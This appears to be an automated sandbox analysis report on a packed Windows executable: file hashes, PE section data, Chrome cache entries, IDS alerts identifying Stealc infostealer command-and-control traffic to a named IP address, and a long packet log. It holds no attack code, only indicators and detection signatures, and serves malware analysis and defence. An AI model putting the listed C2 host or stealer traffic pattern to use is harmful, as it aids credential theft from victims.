SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.957784656161787
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'112'000 bytes
MD5:	98db78696728c2ac1f9e2f5389d747cf
SHA1:	053279baca9068ef85b6ef1b982b9fe235d58147
SHA256:	e67ca06cdb780ed23879f7c7538679bbe47a53f05d3a326a50fe0f770fa9df3a
SHA512:	41bc7a4e5a479f6d030e04ea57b115adc3c3d09acc84658a0d876cf674583781bb5b5fada2e33bea2ea07c05deee7426243e1bc2a9492888c288ebbe4d926a54
SSDEEP:	49152:2a/lNQAs5u9ivVQvutEtJuo8sR12bc3FMIULmCn5+D53cEm:2a/9s5miy+ON2bc3FMIw5+D53bm
TLSH:	CEA5339D5571CC9BE9BEE2FD0C290C2D8B38D420107FACB41D6A726BCAE07970C76961
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb1b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC51CAD122Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	a5676860f768f405bd0284132e004c5a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x297000	0x200	d7aa8395f7662601a84e386a39f90148	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bsgzxsth	0x581000	0x199000	0x198a00	06b0d65ab769ae721e294f13c344c828	False	0.9949902254129703	data	7.954031784720999	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bmqjtvuk	0x71a000	0x1000	0x400	574e6beeaac2f5eb6c75577ca2e493ea	False	0.732421875	data	5.856048714285069	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x71b000	0x3000	0x2200	1726db8a0c53190f299a2a7f52fe27a1	False	0.0666360294117647	DOS executable (COM)	0.696799896932386	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T11:27:01.968723+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T11:27:02.349204+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T11:27:02.355939+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-31T11:27:02.629829+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T11:27:02.637595+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-31T11:27:03.727111+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T11:27:04.288788+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T11:27:15.951600+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.4	49755	TCP
2024-10-31T11:27:21.560227+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49757	185.215.113.206	80	TCP
2024-10-31T11:27:23.037079+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49757	185.215.113.206	80	TCP
2024-10-31T11:27:23.953441+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49757	185.215.113.206	80	TCP
2024-10-31T11:27:24.738382+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49757	185.215.113.206	80	TCP
2024-10-31T11:27:26.418340+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49757	185.215.113.206	80	TCP
2024-10-31T11:27:27.318530+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49757	185.215.113.206	80	TCP
2024-10-31T11:27:54.918189+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.4	49763	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 11:27:00.763736010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:00.768655062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:00.768790007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:00.769005060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:00.774377108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:01.077375889 CET	49675	443	192.168.2.4	173.222.162.32
Oct 31, 2024 11:27:01.666260958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:01.666376114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:01.668534994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:01.673388958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:01.968653917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:01.968723059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.070156097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.075618029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.349057913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.349086046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.349096060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.349204063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.351078987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.355938911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.629746914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.629774094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.629789114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.629828930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.629838943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.629861116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.629884005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.629904032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.629915953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.629916906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.629952908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.629978895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.632436037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.637594938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.909641981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.909883022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.926753998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.926804066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:02.931931973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.931950092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.931960106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.931971073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.931981087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.931991100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:02.931999922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:03.726999998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:03.727111101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.012847900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.018007994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.288595915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.288621902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.288631916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.288640022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.288655996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.288788080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.288923025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.288976908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.288997889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.289022923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.289196014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.289237976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.289248943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.289252996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.289282084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.289303064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.289321899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.289335012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.289371967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.441168070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.441231012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.441271067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.441296101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.441333055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.441346884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.441346884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.441368103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.441395998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.441405058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.441416979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.441445112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.441463947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.441497087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.441796064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.441850901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.441859007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.441903114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.441983938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.442049026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.442051888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.442085981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.442120075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.442121983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.442138910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.442204952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.442539930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.442595959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.442598104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.442646027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.442652941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.442687988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.442713022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.442722082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.442734957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.442770004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.443413973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.443474054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.443480015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.443510056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.443521023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.443547964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.443583012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.443615913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.443624973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.443633080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.444264889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.444300890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.444328070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.444354057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.593748093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.593791962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.593849897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.593869925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.593884945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.593947887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.593961000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.593961000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.593961000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.593983889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.594012022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.594019890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.594054937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.594065905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.594065905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.594106913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.594480991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.594543934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.594590902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.594654083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.594659090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.594705105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.594737053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.594741106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.594764948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.594775915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.594808102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.594815016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.594852924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.594894886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.595457077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.595491886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.595531940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.595546007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.595551014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.595582008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.595602036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.595619917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.595634937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.595655918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.595671892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.595710039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.596318007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.596373081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.596404076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.596427917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.596429110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.596481085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.596494913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.596515894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.596549988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.596554041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.596570969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.596605062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.597193956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.597248077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.597268105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.597300053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.597307920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.597336054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.597368956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.597384930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.597384930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.597404003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.597425938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.597460032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.598125935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.598164082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.598201036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.598222017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.598229885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.598256111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.598284960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.598292112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.598304987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.598328114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.598359108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.598378897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.599025965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.599076033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.599112034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.599129915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.599129915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.599148035 CET	80	49730	185.215.113.206	192.168.2.4
